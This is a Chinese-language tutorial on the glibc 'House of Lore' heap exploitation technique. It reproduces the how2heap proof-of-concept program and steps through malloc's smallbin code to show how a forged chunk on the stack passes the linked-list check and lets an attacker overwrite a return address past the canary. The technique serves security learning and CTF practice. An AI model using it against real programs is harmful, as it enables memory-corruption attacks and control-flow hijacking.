前言:今日份的进步。。。
通过 house_of_lore,伪造在栈上的 chunk,由于可以操作该 chunk 也就可以操作栈上的任意内容,甚至可以操作控制返回地址,控制执行流程。
0X00 例子
肯定是 how2heap 的例子了
#include
#include
#include
#include
void jackpot()
{
puts("Nice jump d00d");
exit(0);
}
int main(int argc, char *argv[])
{
intptr_t *stack_buffer_1[4] = {0};
intptr_t *stack_buffer_2[3] = {0};
fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim - 2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void *)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void *)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t *)stack_buffer_2;
stack_buffer_2[2] = (intptr_t *)stack_buffer_1;
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void *)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4 + 40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
0X01 手动调试与原理讲解
首先我画一个图模拟一下在 stack 中伪造的 chunk:
好,我们继续:
free((void *)victim);
free 掉 victim 以后。unsorted bin 中就会有一个空闲的 chunk
void *p2 = malloc(1200);
会从 top chunk 中分配一个 chunk,而且会把 unsorted bin 中的 chunk 放入 small bin 中
假设我们有这样一个可以利用的地方:
victim[1] = (intptr_t)stack_buffer_1;
修改 bk 的值,相当于在 small bin 中插入了一个 chunk
重点看这里发生了什么:
void *p3 = malloc(100);
好,我们开始调试这句话:
在进入 unsorted bin 之前有一个 small bin 的分配,代码在这里:
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
由于 freed chunk 与当前请求的 chunk 在同一个 small bin 序列当中,所以 victim 不为 0,开始尝试把这个 chunk 分配出去
这里仅仅只有一个检查:
if (__glibc_unlikely (bck->fd != victim))
// 等价于
if(bck->fd != victim)
而 bck = victim->bk;
我们之前构造了 victim->bk = victim[1] = (intptr_t)stack_buffer_1;
所以为了绕过检查,我们必须将 stack_buffer_1->fd=stack_buffer_1[2]=victim
,按照之前的构造我们确实这么做了!所以绕过了检查
接着:
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
// 设置下一个 chunk 上一个 chunk 正在使用
set_inuse_bit_at_offset (victim, nb);
// bin = bin[idx]
// 双向链表的末尾指向
bin->bk = bck;
// 因为 bck = victim->bk = stack_buffer_1
// 所以 bck->fd = stack_buffer_1[2]
bck->fd = bin;
现在这个序列的 small bin 末尾就指向了栈上伪造的 chunk。
我们把这个站结构打印出来:
现在,如果又一次 malloc 一个同样大小的 chunk 会发生什么呢?我们继续调试:
又会跳到同样的代码中:
因为 bck = victim->bk;
所以 bck 等于 &stack_buffer_2 所以 bck->fd = stack_buffer_2[2]
而我们之前的构造:
stack_buffer_2[2] = (intptr_t *)stack_buffer_1;
绕过了这个检查。接着又是这个代码:
set_inuse_bit_at_offset (victim, nb);
// small bin 的末尾指向 stack_buffer_2
bin->bk = bck;
// stack_buffer_2->fd 指向这个 Bin 序列开始的地方
bck->fd = bin;
如此反复就可以在 stack 上,创造一条假的 chunk 了。甚至可以覆盖栈上的返回地址!
0X02 总结
这个漏洞的关键在于:进入 unsorted bin 分配前的 small bin 分配。
这个 bin 的分配要满足的构造在于:
- 大小,属于 small bin
- 写入 chunk 中的 bk 为假 chunk 的地址
- 假 chunk 中的 fd 要等于这个 chunk 的地址
用一张图来说就是:
完结撒花。